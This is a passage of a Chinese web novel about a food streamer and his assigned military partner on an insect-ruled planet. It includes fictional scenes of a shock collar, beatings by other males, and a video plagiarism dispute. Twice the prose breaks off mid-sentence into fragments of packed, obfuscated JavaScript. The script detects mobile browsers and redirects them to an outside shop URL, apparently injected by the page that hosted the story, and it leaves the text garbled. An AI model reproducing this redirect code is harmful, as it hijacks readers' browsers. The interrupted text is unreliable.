刨去他吃的半条羊腿和骨头,诺拉一只虫吃了少说也得有十几斤肉。 安瑞还记得,他以前在蓝星的时候,曾经听动物园的讲解员说,一只成年雄□□一天的食量,也就是十五到二十斤肉。 所以一只雌虫约等于一只成年东北虎? 雌虫的食量,恐怖如斯啊。 “雄主?” 安瑞一言难尽地看着诺拉:“你食量这么大吗?” 诺拉的脸色瞬间变了。 雌虫的食量本身就是雄虫的数倍,再加上他是军雌,平常消耗大,所以食量比一般的雌虫更大。 之前他怕雄主嫌弃他吃得多,都是在晚上偷偷吃营养液的。 经过这些日子的相处,他原本以为雄主不会嫌弃他,再加上他担心烤全羊浪费,才一口气吃完了。 没想到,雄主还是介意的。 他不该这么冒失。 苍蓝色的眼眸蒙上了一层暗淡的水雾,诺拉低下头,不愿意看到雄主嫌弃的目光。 他深吸了一口气平复情绪,刚要道歉,就听见安瑞崩溃道:“那我之前岂不是一直饿着你了!” 11. 第 11 章 诺拉不可置信地抬起头,就看到了安瑞心疼的眼神。 自从雌兄战死之后,就再也没有虫这样关心过他。 氤氲的水汽凝结在眼角,诺拉赶忙偷偷揉了一下,再抬头,又恢复了平静。 “我不是每顿都吃这么多的,就像我今天晚上吃下的肉,足够让我三天不再进食。”诺拉小心地安慰安瑞,“更何况饿了我可以喝营养液,不会饿到自己的。” 安瑞依旧沉浸在绝望当中,身为一个美食博主,居然让室友和营养液,简直是他的重大失职。 他恶狠狠看着诺拉:“老实交代,你一顿饭到底能吃多少东西?” * 诺拉收拾好烧烤架,又扎了一个帐篷,动作利索得安瑞完全没有任何插手的余地。 “雄主,帐篷扎好了。” 安瑞看看很难塞下两只成年虫的帐篷,又看看半跪在帐篷边的诺拉,有点为难地皱了皱眉。 虽然从外表上看,他和诺拉都是男性,但在虫星却是实打实的两个性别,更何况他还是同,不管怎么说都不该和诺拉住一顶帐篷吧。 “那个,诺拉,要不你再去租一顶帐篷?” 诺拉的眼神倏地暗了下来。 “雄主,我们租的晚,帐篷只剩最后一顶了。” 诺拉双手不自主地握拳,睫毛颤了颤,不敢直视安瑞。 因为他撒谎了。 其实他租帐篷的时候,还有少量富余的,但是他故意只租了一顶,不过现在服务中心肯定是没有多余的帐篷了。 诺拉说完,小心翼翼地瞟了一眼安瑞的表情,终于还是补了一句:“您睡帐篷,我睡外面就好。” 他知道,如果夏佐在这,一定会恨铁不成钢地骂他一顿。 但是他真的做不到,像网上的那些雌虫一样夹着嗓子撒娇。 更何况,雄主根本不喜欢他的身子,如果他再硬贴上去,更要招了安瑞的厌烦。 虽然明知道雌虫身体强悍,就算在外面睡一宿也不会有什么事,但安瑞还是做不出这种自己睡帐篷,让室友露宿野外的事。 更何况帐篷还是室友搭的。 他轻轻叹了口气,率先钻进帐篷,然后冲诺拉招招手。 “里面空间还挺大的,咱们俩挤挤吧。” * 安瑞慢慢睁开眼,外面的天才蒙蒙亮。 原本不算大的帐篷硬生生塞下了他和诺拉,顿时显得十分逼仄。 哪怕他和诺拉都很努力地缩成一团,还是不可避免地有身体接触。 安瑞无声地打了个哈欠,微微侧了侧身。 可能是因为昨天骑马捕猎的消耗有些大,身边的雌虫依旧在熟睡。 这还是安瑞第一次看到自家室友的“睡颜”。 雌虫睡得很安静,柔顺的金发平整地散在脑后,纤长浓密的睫毛洒下一片阴影,颜色浅淡的两片薄唇微微闭合,像含苞待放的蔷薇花。 真好看。 相比起醒着的时候,熟睡的雌虫脸上少了几分冰冷凛冽,多了几分温柔沉静。 安瑞脑海中不合时宜地出现了“睡美人”三个字。 emmm,一米八五、八块腹肌的雌虫又怎么不能算是美人呢? 安如被自己逗得弯了弯唇角,鬼使神差的,他伸手轻轻抚上了雌虫小麦色的脸庞,一路向下,划过喉结复又折返向上,最终停留在那两瓣蔷薇色的薄唇上。 好软。 真的像花瓣一样。 不知道亲上去会不会也这么软。 几乎是念头一瞬间,安瑞就觉得身体有了反应,他猛地收回手,狠狠闭了闭眼。 他在干啥啊,简直是疯了。 怪不得都说男人是下半身思考的动物,安瑞对自己身体的反应表示深深的唾弃。 不就是遇见个帅哥吗,真没出息。 安瑞狠狠瞪了自己身下一眼,小心翼翼拉开帐篷链,蹑手蹑脚地钻了出去。 下一秒,帐篷里的诺拉慢慢睁开眼睛。 或许是因为挨着雄主,多少安抚了一下他濒临暴乱的精神力,昨晚他睡得格外好。 饶是如此,作为一只军雌,在安瑞醒得那一刻,他就已经醒了,更别提自家雄主还在自己脸上摸了半天。 诺拉咬了咬嘴唇,打开智脑的自拍功能,对准了自己的脸。 又黑又凶,一点都不好看。 怪不得雄主会那么快地拂袖离开。 什么“迷倒雄虫108式”,根本没用,长得不好看,再怎么努力,雄主也不会喜欢的。 就这样吧,至少雄主对他非常温柔,从来没有骂过他半句,更别说像其他雄虫那样,动辄鞭子上身。 他已经很幸运了,不是吗? 诺拉慢慢闭上眼,任凭一滴晶莹的泪顺着眼角划过。 * “大家好,欢迎来到小安的直播间。” 又是一个工作日的早上,安瑞送走诺拉之后,准时开播。 和以往不同的是,昨天他报名了虫娱扶持新主播的活动,他的直播间会被不定时地展示在美食分频推荐页面上。 虽然推荐的时间不长,推荐位也很靠下,但是这些流量对于他一个刚起号的小主播来说,还是非常重要的。 开播没几分钟,直播间就陆陆续续来了二三十个观众。 【AAA纯情小军雌:早饭就喝了两瓶营养液,等着直播间救命呢】 【西瓜彩虹糖:我的天啊,快看我发现了什么神仙主播,这脸,这腰,这手,简直就是我的梦中情雌】 【翅膀硬了:……雌雌恋滚出直播间】 安瑞没有理会直播间奇奇怪怪的画风,他拿出早就准备好的菌子:“今天,教大家一道你们从来没吃过的美食,爆炒见手青。” 直播间弹幕闪过一堆问号。 【翅膀硬了:这不就是蘑菇和木耳吗?】 【今天找到雄主了吗:嘶,但是细看好像又不太一样】 【西瓜彩虹糖:感觉主播小哥哥在做一种很新的直播】 安瑞戴上手套,从袋子里拿出一个见手青:“见手青和蘑菇不一样,如果处理不好是有毒的,所以一定要按照我的方法进行烹饪。” 【AAA纯情小军雌:有毒,雌父我好怕怕】 【翅膀硬了:……军雌禁止撒娇】 【西瓜彩虹糖:……恶心】 “先把见手青切成薄片,然后起锅烧油,这里油可以多放一些,把见手青放进去,炒四十秒左右盛出备用。” 安瑞数够了四十下,把锅里的见手青盛出来,重新往锅里放入葱姜蒜爆香,然后加入见手青,再次翻炒。 其实,见手青里放点辣椒才好吃,但虫族好像没有这玩意儿。 可惜了。 “接下来,是最关键的一步,往锅里放入新鲜的花椒叶,翻炒几下,再加入适当的调味料,就可以出锅了。” 【西瓜彩虹糖:我没看错吧,花椒叶?】 【草莓冰棒:主播不会是专门做翻车料理的吧】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538587|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【AAA纯情小军雌:作为老粉的我,就笑笑不说话】 安瑞把爆炒见手青盛出来,又从电饭锅盛了一碗刚闷好的大米饭。 “接下来是品尝环节,想要一起尝试的小伙伴可以打开味觉共享。” 安瑞说完,等了几秒,然后往米饭上盛了一勺见手青,和着米饭一起咽下去。 下一刻,直播间爆发出了各种各样的礼物特效,伴随着疯狂刷屏的弹幕,不到一百观众的直播间愣是刷出了一种千军万马的架势。 【翅膀硬了:艹,真他雌的绝了】 【AAA纯情小军雌:太鲜了,真的太鲜了】 【草莓冰棒:请原谅我贫瘠的词汇,但是真的好吃哭了】 【西瓜彩虹糖:救,我刚刚没开味觉共享,主播再吃一口吧,我给你刷虫神的祝福】 安瑞欣喜地看着各种礼物特效,冲镜头比了个心:“感谢大家的支持,没有关注的朋友右上角点点关注。” 【草莓冰棒:关注关注,立刻关注,叫我的同学都来关注】 【西瓜彩虹糖:啊啊啊啊主播笑得好甜,我无了】 【翅膀硬了:艹,话说见手青在哪能买到,网上根本没卖的啊】 安瑞一边吃一边回复评论:“我这里还有一部分富余的见手青,待会随机抽三位幸运的粉丝朋友送出去吧。” 安瑞刚设置好抽奖页面,屏幕上又一次爆发出各种礼物特效。 众所周知,送的礼物越多,抽中的概率越大。为了能抽中见手青,直播间的观众开始疯狂刷礼物。 安瑞一碗饭刚吃完,屏幕上突然爆发出一阵绚丽的烟花。 ——恭喜主播达成一万点成就。 十成就点等于一星币,一万点成就的意思是直播间观众刷的礼物价值已经达到了一千星币。 与此同时,直播间的观众也突破了一千。 安瑞在内心比了个耶,又去盛了点饭,边吃边等抽奖结果。 终于,屏幕一阵闪烁,获奖名单公布。 “恭喜西瓜彩虹糖、AAA纯情小军雌和饿就喝水三位朋友,请后台私信我地址,礼物将在今天寄出。” 【西瓜彩虹糖:不枉我刷了五个虫神的祝福】 【翅膀硬了:艹,老子也刷了好多礼物好吧,真无语】 【草莓冰棒:贫穷大学生泪目了】 “没有抽中的朋友也不要灰心,我的见手青是在原始森林公园采的,那边还有很多,大家可以过去找一找。今天的直播就到这里了,大家明天见。” 安瑞点击下播,心满意足地看着后台四位数的粉丝,如果不出意外,录屏教程出来之后还会再带来一波流量。 他这个号终于算是有点起色了。 安瑞关上手机,拿出没舍得在直播间给粉丝们看的干巴菌和羊肚菌,准备做干巴炒饭,再做个羊肚菌炖鸡汤。 * “好吃吗?” 考虑到诺拉的食量,安瑞特意炖了两只鸡,又做了整整一铁锅炒饭。 诺拉点点头,又有点不好意思:“您不用做这么多的,我可以喝营养液。” “喝什么营养液,营养液能有正经饭好吃吗?” 安瑞给诺拉夹了个鸡腿:“你猛猛吃,不够锅里还有。” “谢谢雄主。” 安瑞刚要和诺拉说他直播的事,忽然智脑一响,雄保协会发来了一封邮件。 他眉心一跳。 雄保协会的邮件,估计不是什么好事儿啊。 12. 第 12 章 ——尊敬的安瑞阁下,军雌诺拉·巴克利的十天试用期即将届满,如果您满意,请您尽快前往户籍中心登记,如果您不满意,请联系我们,我们将立刻为您进行更换,祝您生活愉快。 安瑞关上智脑,轻轻吐出一口气。 幸好,只是去登个记,而不是又给他送来什么奇奇怪怪的雌虫。 “诺拉。”安瑞抬起头,看着对面的军雌,“最近方便请假吗?” 诺拉不明所以地眨眨眼。 安瑞微微一笑,捞了几个羊肚菌放进安瑞的碗里:“雄虫保护协会那边,催着咱们去登记。” 诺拉脸色微变,又很快掩饰了下去。 “都可以的,看您方便。” * 早上九点,户籍中心已然门庭若市,但是细细观察才会发现,婚姻登记窗口排队的大部分都是雌虫,很少有雄虫陪着一起来的。 至少安瑞看了半天,也没看到一只雄虫。 他刚要拉着诺拉一起去排队,就被门口的穿着工装的亚雌拦了下来。 亚雌言笑晏晏:“阁下,请问您是来办理登记的吗?” 安瑞点头:“雄保协会发消息,让我来和强制匹配的军雌办理登记。” “好的,您进大厅左转,去二号房间办理就可以了。” 安瑞晕晕乎乎进了大厅,还是忍不住开口:“门外的雌虫怎么都是自己来的,他们的雄主呢?” “雌侍和雌奴的手续不需要雄主来现场办理,只有强制匹配的军雌是例外。”诺拉脸上闪过几分苦涩,“抱歉雄主,耽误您时间了。” 安瑞立刻想给自己两巴掌。 他默默地走进二号房间,终于在里面看到了一只雄虫。 那只雄虫圆润得像一个完美的球体,靠在沙发上,腰上的肉都快流出来了,肥腻的脸上镶着两只绿豆眼,外贸非常符合安瑞对雄虫的刻板印象。 下一刻,安瑞愣住了,因为那只雄虫身边,直挺挺跪着一只军雌。 军雌有一头漂亮的棕色短发,还有一双圆滚滚的淡绿色眸子。 真好看,虽然和他家诺拉比,还差一点点。 安瑞感叹了一句,刚要避开眼神,那只雄虫忽然伸手,狠狠一巴掌抽在军雌的脸上。 安瑞的手不自觉地攥成拳,又慢慢松开。 他只是一只平民雄虫,没有能力干涉其他虫的生活,更不可能改变虫族现有的社会秩序。 他还记得自己的“一个坚持,三个不”原则。 安瑞悠悠叹了口气,慢慢收回了目光。 很快,诺拉就拿着登记表回来了,他把表递给安瑞,屈膝刚要跪,就被安瑞拦住了。 “又不听话?” “这不是在外面吗?” 雌奴跪侍雄主,原本就是应该的,如果他不守规矩,其他虫嘲笑雄主了。 安瑞给了诺拉一个爆栗:“外面怎么了,坐好。” 诺拉低头抿抿唇,到底还是坐在了安瑞身边。 ——请 H0004号到窗口办理业务。 安瑞瞄了一眼登记表,他们是H0005号。 雌侍,隔壁的雄虫已经在雌虫的提醒下,不耐烦地站了起来。 看来4号是他们。 约莫等了十几分钟,广播终于叫到了5号,安瑞带着诺拉刚走到窗口,就看见了旁边暴怒的雄虫。 “艹你***,让老子***等了这么长时间,我*****。” 伴随着脏话的,是雄虫落在军雌身上的拳脚。 “啊。” 不知道雄虫做了什么,雌虫忽然尖叫了一声,紧接着就倒在了地上,双目无神,额头上冒出了一对触角,只有四肢还在微微抽搐。 “艹,老子就电了一下,装***死给谁看。” 安瑞深深吸了口气,走过去:“抱歉阁下,我要办理业务了,请您让一下。” 雄虫抬起头,刚要开骂,就看到一只样貌格外俊美的年轻雄虫站在他面前。 众所周知,等级越高的雄虫,样貌也往往越俊美。 他只是一只C级雄虫,还是不要惹麻烦了。 想到这,雄虫狠狠瞪了安瑞一眼,到底还是低头踹了军雌一脚:“还不快滚,留在这丢虫显眼?” 军雌终于回过神来,连滚带爬地站起来,跟着雄虫离开了。 “雄主,我替那名军雌谢谢您。” 安瑞苦笑着摇摇头。 就算他能帮得了一时,等那只军雌回到家,还是难逃一顿打骂。 窗口的亚雌简单问了几句,就带着诺拉进里面体检,留安瑞自己在外面等候。 与此同时,休息区又来了几只雄虫,无一例外都是态度极差,对身边的军雌颐指气使,动辄打骂。 安瑞默默垂下眼眸,脑海中忽然出现了诺拉的面容。 如果诺拉没有被分配给他,那他是不是也要被别的雄虫这么欺负。 那如果自己在攒够了钱之后,跟诺拉离婚,雄保协会又会不会重新给诺拉分配雄主。 一想到诺拉要被一只又丑又胖的雄虫欺负…… 不行,不可以。 与其让诺拉被别的雄虫欺负,还不如让他一直留在自己身边。 如果诺拉愿意的话。 * “雄主。”诺拉低着头把体检报告交到安瑞手上,耳尖已经红的滴血。 安瑞不明所以地打开,然后在第二页又看到了熟悉的XXOO内容。 他深吸一口气,猛地合上体检报告,将报告递给窗口工作的亚雌:“我看过了,没问题。” 亚雌言笑晏晏:“感谢您的配合,登记已经完成了,接下来我将为您的雌奴佩戴抑能环。” 什么抑能环? 还没等安瑞反应过来,亚雌已经从窗口走出来,手上拿着一条漆黑的皮质颈圈,抬手紧紧地勒在了诺拉的脖子上。 “呃……” 耳边传来诺拉的一声闷哼,安瑞才如梦方醒。 “你给他戴了什么?” “抑能环。”亚雌依旧保持着甜美的笑容,将遥控器递到安瑞的手里,“阁下,遥控器您收好,您也可以扫描后面的二维码,安装APP,用智脑进行操控哦。” 安瑞愣愣地接过遥控器, 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诺拉把星舰调成自动模式,走到安瑞身边,半跪下来,壮着胆子握住了自家雄主的手。 “您不会用它电诺拉的,是不是?” “不会,永远不会。” 他的室友这么好,他哪里舍得。 安瑞平复了一下心情,伸手帮诺拉理了理鬓边地碎发。 “你放心,我会努力赚钱,早一点帮你摘掉抑能环的。” 诺拉不该留在他身边,也不该留在任何雄虫身边。 他应该做一只翱翔在天上的鹰,而不是被圈养在笼子里。 安瑞把目光移向窗外,没有注意到苍蓝色的眼眸中瞬间闪过的黯然。 诺拉下意识地用手摸了摸颈边的项圈。 如果带着抑能环可以一直留在雄主身边,那他愿意带一辈子。 * 回到家,安瑞迫不及待地打开智脑。 不到二十四小时,爆炒见手青教程的视频点赞数量已经过万了,他后台的粉丝也涨了大几百,而且数据还在不断攀升。 安瑞翻了一会儿评论区,居然已经有几个特别上进的粉丝交了“作业”。 也不知道他们是不是真的去原始森林公园挖见手青了。 他给那几个粉丝点了赞,又在置顶评论里强调了一遍见手青有毒,务必按照教程烹饪,才退出视频。 他靠在床上,一边刷视频一边构思明天的直播内容,忽然就听见屋外传来了一阵滴滴滴的报警声。 安瑞忍了一会儿,可是滴滴滴的声音越来越大,他只好关上智脑,走到客厅。 下一刻,安瑞的瞳孔骤然缩紧。 他看到诺拉靠在沙发边,脸色潮红,身上出现了大片瑰丽虫纹。 而滴滴滴的报警声,就是诺拉脖子上的抑能环传出来的。 他家室友好像精神力暴乱了。 13. 第 13 章 一双漂亮的眼睛已经出现了血丝,诺拉死死抓着沙发扶手,努力维持着仅存的理智:“雄主,别……别过来……” 安瑞当然不可能听诺拉的,他几步跑过去,蹲下扶住诺拉,触手就是一片滚烫。 下一刻,空气中爆发出甜蜜的果香味,香味的主人也好像失去了理智,他抱着安瑞的脖子,嘴唇也无章法地蹭上了安瑞的侧脸。 “雄主,求……求您,给我……” 冰凉的皮肤和好闻的青草香味稍稍缓解了诺拉的痛苦,但是还远远不够。 诺拉的声音里带了些祈求的鼻音,努力地想要和面前的雄虫贴得更紧,却不知道怎么做,只好胡乱地扯着自己的衣服。 “刺啦”一声,军雌的上衣被撕开了一个口子,露出了蜜色的胸膛,上面是大片瑰丽的虫纹。 “诺拉,诺拉你冷静。” 安瑞抹去额间的细汗,努力避开眼神,维持冷静。 雌虫精神力暴乱怎么办,最常见的方法自然是舒缓剂。 但他记得诺拉是军雌,一般的舒缓剂对他们好像不起效果,要不然军雌保护法也不会给军雌分配雄主。 理论上来说,雄虫是可以为雌虫做精神力舒缓的,但他完全不知道该怎么做啊。 遇事不决问度娘。 安瑞一只手安抚怀里的大宝贝,另一只手打开电脑,搜索“雄虫精神力舒缓”。 页面转了转,然后弹出了一堆乱七八糟的帖子。 #雄主迟迟不宠幸怎么办,三个小妙招帮你夺回雄子的心 #雄虫最喜欢的8种姿势 #爆火全网的十一套情*趣内衣,雄子最爱哦 安瑞:…… 不是,虫族是不是有什么大病,都什么时候了,还想着XXOO。 “难受,好热,好难受……” 香味越来越浓,怀里的雌虫挣扎得也越来越厉害,他一个翻身把安瑞按在地上,试图把雄虫身上碍事的衣服扯下来。 “不是,诺拉,诺拉!” 安瑞拼命挣扎,但雄虫和雌虫之间的力量差距太大,他根本治不住暴动的雌虫。 好在安瑞穿的帽衫比较结实,诺拉折腾了半天也没撕开,气急之下,他一口咬在了安瑞的脖颈。 “嘶……” 温热的血液让诺拉暂时平静了下来,安瑞忍着疼,任由诺拉撕咬他的肩膀,另一只手疯狂划拉智脑。 “能不能来点有用的啊,生理健康课本也行啊……” 终于,安瑞在各种黄色信息中,艰难地扒拉出一篇看起来还算正经论文。 《论雄虫精神力在舒缓剂中的应用》,作者是达蒙·亚当斯。 安瑞顾不得其他,点开论文,一目十行,终于在引文部分看到了“有雄主的雌虫都通过和雄虫□□的方式解决精神暴乱……” 安瑞瞳孔地震。 怪不得诺拉会在他怀里一直蹭,怪不得他一搜精神力暴乱,出来的全是小黄片。 原来雄虫帮雌虫舒缓精神力的方式这么简单粗暴。 但现在的问题是,他不能跟诺拉□□。 他都跟诺拉说好了,等他攒够了钱就和诺拉离婚,他要是趁着诺拉精神力暴乱把诺拉给上了,那他成什么人了。 救命,谁来救救他。 就在安瑞即将崩溃的时候,他突然在论文里扫到一行—— “B级以上的雄虫也可以直接进入雌虫的精神海,为雌虫做精神力疏导”。 有救了! 安瑞手忙脚乱地找到这句话的参考文献,他按照上面的步骤,小心翼翼地将手掌放在诺拉的额头上,尝试进入诺拉的精神海。 或许是感受到了熟悉的气息,诺拉并没有反抗,安瑞很顺利地进入了诺拉的精神海,这才发现诺拉的精神力实在乱得厉害。 精神力丝线像被玩坏了的毛线团一样混乱地缠绕在一起,末梢处呈现不正常的灰黑色,甚至有几处隐隐有被灼烧的痕迹。 怪不得军部这么着急给诺拉分配雄主,这要是再不作精神力疏导,指不定哪天精神海就直接炸了。 安瑞轻轻叹了口气,先用自己的精神力包裹住灰黑色的部分,看着精神力丝线慢慢变成健康的白色,才进行下一步疏导。 * “呼。” 安瑞长长吐出一口气。 诺拉的精神力丝线实在太乱,他整理了半个多小时才勉强理顺了。 安瑞力竭般地到在沙发上,感觉浑身上下只剩眼皮能动了。 不是那种刚跑了三千米的力竭,而是由内而外地疲惫。 恐怕是消耗了太多的精神力吧。 怪不得那些雄虫都愿意直接通过□□疏导雌虫的精神力。 安瑞休息了好半天,才缓过一口气,刚一站起来,就觉得脖子上一阵刺痛。 他侧着头看了一眼。 两排整整齐齐的牙印,旁边还带着些半干的血迹。 安瑞气恼地皱皱眉,低头看着躺在自己身边睡得舒舒服服的雌虫,忍不住低声威胁了一句。 “等睡醒了再和你算账。” 安瑞把诺拉抱回客卧,回到自己的房间,躺在床上,却睡意全无。 刚刚担心诺拉的病情,一门心思都扑在怎么解决精神力暴乱上,现在精神力暴乱解决了,啊安瑞才算是回过味来。 比平常更加鲜艳的唇瓣,绚丽的虫纹,还有那抹清甜的果香…… 客厅里的场景反复在脑海里回放,最终定格在诺拉做完精神力疏导后沉静的睡颜。 下一刻,安瑞只觉得自己的身体好像又发生了什么反应,他低一看,果不其然,跟前几天在原始森林公园一样。 如果上次他还能骗自己,男人早晨起来多少都会有点,那这次他也不得不承认,他好像真的喜欢上他的室友了。 不行,不可以,他得当个人。 安瑞翻了个身,默背乘法口诀,试图消除身下的感觉。 十五分钟后,安瑞默默从床上站起来,去了卫生间。 半个小时后,卫生间里传来了哗啦啦的水声。 安瑞站在喷头下面,用毛巾深深捂住了脸。 完蛋,他好像真的要不是人了。 * 诺拉慢慢睁开眼睛。 他已经很久没有睡得这么好了,不仅头脑一片清明,就连五感也真切了许多。 自从进入军队之后,过于频繁的训练和任务过度消耗了他的精神力,一开始还可以靠舒缓剂维持,但渐渐地,舒缓剂也没了作用。 迟迟得不到舒缓的精神海使他经常头痛,就连睡觉也睡不安稳,最近睡得最好的一次还 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安瑞以前就见不得诺拉下跪,现在对诺拉存了那种心思,更是见不得诺拉委屈自己。 “不就是咬了一口吗,又不是什么大事。” 安瑞把诺拉扶起来,用袖子擦了擦他额头上的灰尘:“别担心,早就不疼了。” “我……我给您上药。” 不等安瑞拒绝,诺拉已经碰了从抽屉里翻出来药膏,小心翼翼地抹在安瑞的伤口上。 “嘶……” 诺拉猛地停下手:“弄疼您了吗?” “啊?哦,有一点。” 其实脖子上的疼已经微乎其微,更多的是身体又有了反应。 诺拉药上的仔细,他们又是差不多高,安瑞几乎能感觉到诺拉的呼吸。 真是要了命了。 药刚刚上好,安瑞就逃命一样地回了房间,只留下一句“牛奶在锅里,你自己盛”。 看着安瑞的背影,诺拉的眼中闪过几分愧悔。 原本雄主就不喜欢他,他还做出这种事,雄主肯定会更讨厌他吧。 * 安瑞帮诺拉请了病假,诺拉就顺理成章地不用上班了。 吃过午饭,安瑞靠在沙发上刷智脑,诺拉就躺在他身边假寐。 阳光透过窗户打在诺拉身上,映出一片灿烂的金色。 真好看。 安瑞下意识地瞟了两眼,又很快收回眼神。 不行,不能做痴汉。 安瑞觉得自己还是应该挣扎一下,努力做个人。 为了转移注意力,安瑞打开智脑,查看之前上传的视频。 出乎意料地,视频的点赞数量依旧维持在一万多,就连播放量也没有增加几千。 安瑞眉头紧锁。 不应该啊,昨天下午的时候,视频的数据还在疯狂上升,怎么突然就停滞了。 难道是被限流了? 他尝试在主页搜索“爆炒见手青”,下一刻,安瑞的眼神陡然变得凌厉了起来。 最先搜索出来的爆炒见手青的教程,居然不是他发的。 他的视频被抄袭了。 14. 第 14 章 视频里,一名淡绿色娃娃头的亚雌正一脸认真地演示见手青的制作方法,从前期准备,到先用油过一遍见手青,再到最后的点睛之笔花椒叶,每一步都和安瑞的一般无二。 唯一的区别是,安瑞的视频只有一万多赞,而这个视频昨天傍晚刚刚发布,到现在已经有了三十万点赞。 还是个虫娱的大V。 安瑞沉着脸点进首页—— 一棵小草,美食博主,粉丝1675.3万。 将近两千万粉丝的头部主播,居然也能干出这种抄袭的事。 抄袭他的创意也就算了,居然连花椒叶都炒。 这已经不是擦边了,简直是赤裸裸的侵犯知识产权。 安瑞压着心里的火气,按照蓝星的经验,给一棵小草私发了一条信息。 ——一棵小草您好,您昨晚18:00发布的视频“爆炒见手青教程”与我前日发布的视频高度相似,侵犯了我的著作权,请您立刻删除并致歉,否则我将通过法律手段维护自身权益。 安瑞原本也没报希望,不过是走一下和解的流程,方便之后进行投诉,没想到十几分钟之后,一棵小草居然回复了私信。 ——爆炒见手青只是一道菜品,并非您的专利,您只针对您拍摄的视频享有著作权,而非菜品本身,如果您认为我的视频涉嫌侵权,可以投诉。 安瑞:(#`Д?)? 见过不要脸的,没见过这么不要脸的。 他愤愤地点击举报按钮,十根指头快速戳激光键盘,把一棵小草抄袭的事情说明,又附上了两个视频的链接,然后猛地拍了一下回车。 这么明显的侵权,一棵小草的账号就算不被封,至少也会被限流。 “雄主?” 安瑞转过身,脸上又恢复了往日的温柔。 “抱歉,吵到你了。” 诺拉摇摇头,往前蹭了蹭:“是出什么事了吗?” “没事,就是有博主抄袭我的视频,我已经投诉了。” 诺拉的眼神扫过安瑞的智脑:“抄袭您的是一棵小草?” “怎么,你也是这个博主的粉丝?” “那倒不是,只不过我们军部很多速食罐头,都是这个博主代言的。”诺拉犹豫了一下,还是实话实说,“我听说,他是格林家族旁支的亚雌。” “格林家族?” 怎么听着那么玄乎呢? “您知道福瑞斯集团吗?” “你是说生产食品的那个福瑞斯?” 安瑞还记得自己穿越过来第一天,吃的牛肉罐头和番茄酱,就是福瑞斯集团生产的。 诺拉点头:“福瑞斯集团垄断了帝国将近60%的速食市场,但这还不是他们最核心的产业,福瑞斯集团最大的摇钱树,是舒缓剂。雌虫常用的舒缓剂,全部来源于福瑞斯集团,而福瑞斯集团的控制者,就是格林家族。” 安瑞目瞪口呆:“这么厉害。” 诺拉脸上带着几分担忧:“所以,我担心您的投诉,恐怕会被压下来。” * 一天后,安瑞收到了投诉被驳回的私信。 果然,诺拉说的没错,他的投诉被压下来了。 不仅如此,或许是尝到了甜头,一棵小草变本加厉,把他前面几期教程全部抄袭了个遍。 一棵小草的粉丝体量太大,背后又有资本撑腰,实力强大远不是他一个粉丝不过万的小主播能抗衡的。 如果任由这颗毒草这么抄袭下去,他就算有再多的菜谱,也不过是为他虫做嫁衣。 “雄主,我给您洗了水果。”诺拉把洗好的草莓放到安瑞手边,小心翼翼地劝慰,“您如果着急用钱,诺拉的工资……” “明天有空吗?” 诺拉的话被骤然打断,只好闷闷地应了一声:“有的。” 明天恰好是休息日。 “陪我去一趟超市吧。” “啊?”诺拉有点跟不上安瑞跳跃的思维。 安瑞勾了勾唇角,没再解释。 一个只知道抄袭,连饺子都没吃过的亚雌罢了,他就不信了,自己堂堂种花国的美食博主,还治不了这颗毒草。 * 虫星习惯线上购物,所以哪怕是周末,超市里依然空空荡荡。 不过,安瑞还是更喜欢线下购物,这种把购物车填满的幸福,是线上买东西远远比不了的。 看着琳琅满目的蔬菜,安瑞深深吸了一口气。 只有在这种地方,才能激发他创作的灵感嘛。 安瑞一路走一路拿,很快土豆茄子大葱黄瓜就堆了一购物车。 不得不说,虫星蔬菜的价格还是挺高的,最普通的大白菜都要将近十块钱一斤。 怪不得虫族速食产业这么发达。 安瑞从蔬菜区走到粮食区,正琢磨着要不要称点大米,忽然就被大米旁边的黄豆吸引了注意力。 救星啊。 一个绝妙的想法从安瑞脑海里生出来,他拿过塑料袋,哐哐哐就往里面盛黄豆。 “雄主,您是要做炸黄豆嘛?”诺拉有点迷茫地看着安瑞往购物车里放了三大袋黄豆,“那边零食区有炸好的,也贵不了多少钱。” “炸黄豆?这玩意儿可不止能炸着吃。” 一通采购之后,安瑞带着诺拉到自助结账区。 不得不说,虫星的科技是真先进,产品都不用扫,只要把购物筐放到结账台上,机器就能自动识别里面的货品。 “真贵。” 虽然已经在线上买了好几次菜,但安瑞还是不得不感叹一句虫星的菜价。 三根黄瓜就要10星币,他们怎么不直接去抢啊。 诺拉刚要举起智脑结账,被安瑞回头瞪了一眼,只好默默地收起智脑。 “不过诺拉听说,几十年前的菜价好像更贵,大多数虫都只吃得起营养液。”雌虫一边把菜放进购物袋里,一边随口说,“后来亚当斯家族的一位教授改进了种子的基因,菜价才慢慢降下来。” “厉害啊。” 安瑞感叹一句,把钱付了。 刚付完账,结账区的工作虫好像发现了什么新大陆一样,以百米冲刺的速度跑了过来。 “阁下,请问您需要帮助吗?” 年轻纤细的亚雌声音了夹杂了十二分的甜度,一脸期待地看着安瑞。 安瑞并不是很懂这只亚雌在期待什么,只好按照以往的经验向他展示了付款页面。 “不用了,我已经付完了。” 没想到,亚雌更加激动起来,一双桃花眼恨不得黏在安瑞身上。 “您买了这么多东西,需要我帮您送到星舰上吗?” 安瑞恍然。 原来虫星的超市和蓝星的海某捞一样,要求售货员为客户提供全方位的服务。 虽然安瑞并不是特别习惯这种无微不至的服务,但是考虑到售货员的KPI,还是微微颔首。 “那就麻烦了。” “不麻烦,阁下太客气了。” 亚雌欣喜若狂,刚要把拎起两大袋商品,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 